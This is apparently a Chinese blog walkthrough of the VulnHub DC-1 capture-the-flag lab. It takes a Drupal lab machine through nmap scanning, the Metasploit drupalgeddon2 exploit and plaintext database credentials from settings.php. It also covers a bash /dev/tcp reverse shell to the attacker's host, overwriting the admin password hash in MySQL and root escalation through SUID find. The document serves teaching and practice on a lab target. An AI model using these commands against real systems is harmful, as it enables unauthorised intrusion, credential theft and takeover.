vulnhub靶机DC-1

1.启动DC1靶机发现没有登录密码
vulnhub靶机DC-1

2.信息收集

主机发现,由于是与主机nat连接,所以需要找到dc1的IP地址

dc1的Mac地址是

vulnhub靶机DC-1

nmap -sP 192.168.211.0/24
vulnhub靶机DC-1

所以dc1 靶机的ip地址是192.168.211.133

扫描主机上开启的服务

nmap -A 192.168.211.133 -p 1-65535

vulnhub靶机DC-1

发现目标开启了22端口和80端口

22端口考虑ssh**

我们访问80端口发现是一个Drupal网站

vulnhub靶机DC-1

drupal是三大PHP CMS 之一:drupal WordPress Joomla 由于是开源的网站,所以应该有很多公开的漏洞

扫描网站目录

dirb 192.168.211.133

vulnhub靶机DC-1
我们查看网站的robots.txt

vulnhub靶机DC-1

发现有一个更新信息,进去查看

vulnhub靶机DC-1

发现了网站版本

我们进入msf中搜索drupal

vulnhub靶机DC-1

然后使用exploit/unix/webapp/drupal_drupalgeddon2 攻击模块

vulnhub靶机DC-1vulnhub靶机DC-1
与我们的网版本一样所以有可能攻击成功

设置好相关选项

查看可以使用的payload,使用反向连接

vulnhub靶机DC-1

ls之后看到flag1.txt

vulnhub靶机DC-1
提示config配置文件,百度找了一下durpal配置文件在/sites/default/settings.php

vulnhub靶机DC-1
由于数据库密码是以明文方式写在配置文件里面的,所以考虑去找数据库的配置文件

vulnhub靶机DC-1

发现flag2和数据库的密码信息,提示**和目录攻击不是一个好的方法

vulnhub靶机DC-1

array (

​ ‘database’ => ‘drupaldb’,

​ ‘username’ => ‘dbuser’,

​ ‘password’ => ‘R0ck3t’,

​ ‘host’ => ‘localhost’,

然后我们使用shell 获得普通用户权限,然后尝试去连接数据库

vulnhub靶机DC-1
使用netstat -anptl查看3306是否开放,结果只允许本地连接

vulnhub靶机DC-1

我们需要使用shell反弹

先用kali监听2333端口

vulnhub靶机DC-1

执行python -c "import pty;pty.spawn(’/bin/bash’)"

执行完之后可获得python提供的标准shell

vulnhub靶机DC-1

shell反弹命令bash -i >& /dev/tcp/192.168.211.129/2333 0>&1

反弹成功

vulnhub靶机DC-1

这时就可以使用mysql登陆,mysql -udbuser -pR0ck3t

vulnhub靶机DC-1

show databases;

vulnhub靶机DC-1
use drupaldb;

show tables;

vulnhub靶机DC-1

查看users表select * from users/G

vulnhub靶机DC-1
应该注意到的是密码的加密是用了该cms特有的hash算法。找hash文件。

vulnhub靶机DC-1
scripts录有password-hash.sh文件。思路为用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的。

php scripts/password-hash.sh asdfg 在www下使用scripts/password-hash.sh文件生成asdfg密码的密文

vulnhub靶机DC-1
修改密文

update users set pass=“SSD.l7VkAj.1NbdBM6U7qPaNap3etnOwQpT9TTJ.VECdBHS/XTDUYd” where uid=1; 修改成功

vulnhub靶机DC-1
然后我们成功登陆网站并且发现flag3
!vulnhub靶机DC-1在这里插入图片描述
flag3将我们指向passwd,并且提示可以用find提权

vulnhub靶机DC-1
查看/etc/passwd发现flag4

vulnhub靶机DC-1
在home目录下发现flag4

vulnhub靶机DC-1

接下来我们要进行提权进入到root

系统内核提权

提权之前我们需要看系统中是否有一些命令具有SUID标识—如果命令有SUID标识,说明这些命令在执行过程中会有短暂的root权限

查看具有SUID权限的命令

find / -perm -4000 2>/dev/null

vulnhub靶机DC-1

发现上面 这些命令在执行时都会短暂获得root权限,我们使用这些命令去执行另一些命令,那么那些命令也相应具有端在的root权限

find flag4.txt -exec “/bin/sh” ;

vulnhub靶机DC-1
发现flag5
vulnhub靶机DC-1